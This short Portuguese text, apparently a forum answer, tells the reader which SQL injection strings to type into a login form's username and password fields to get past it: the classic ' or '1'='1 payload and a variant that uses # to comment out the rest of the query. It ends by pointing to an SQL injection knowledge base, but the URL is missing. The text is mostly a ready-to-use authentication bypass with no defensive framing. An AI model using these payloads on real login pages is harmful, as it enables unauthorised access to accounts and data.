Sua string de injeção deve ser assim:
Nome de usuário e senha:
' or '1' = '1
Nome de usuário (frequentemente) ou senha:(Depende de qual vem primeiro na consulta)
# comenta o resto da consulta.' or '1'='1' #
Para mais informações sobre injeção de SQL, você pode conferir esta url perfeita:
O SQL Base de conhecimento de injeção
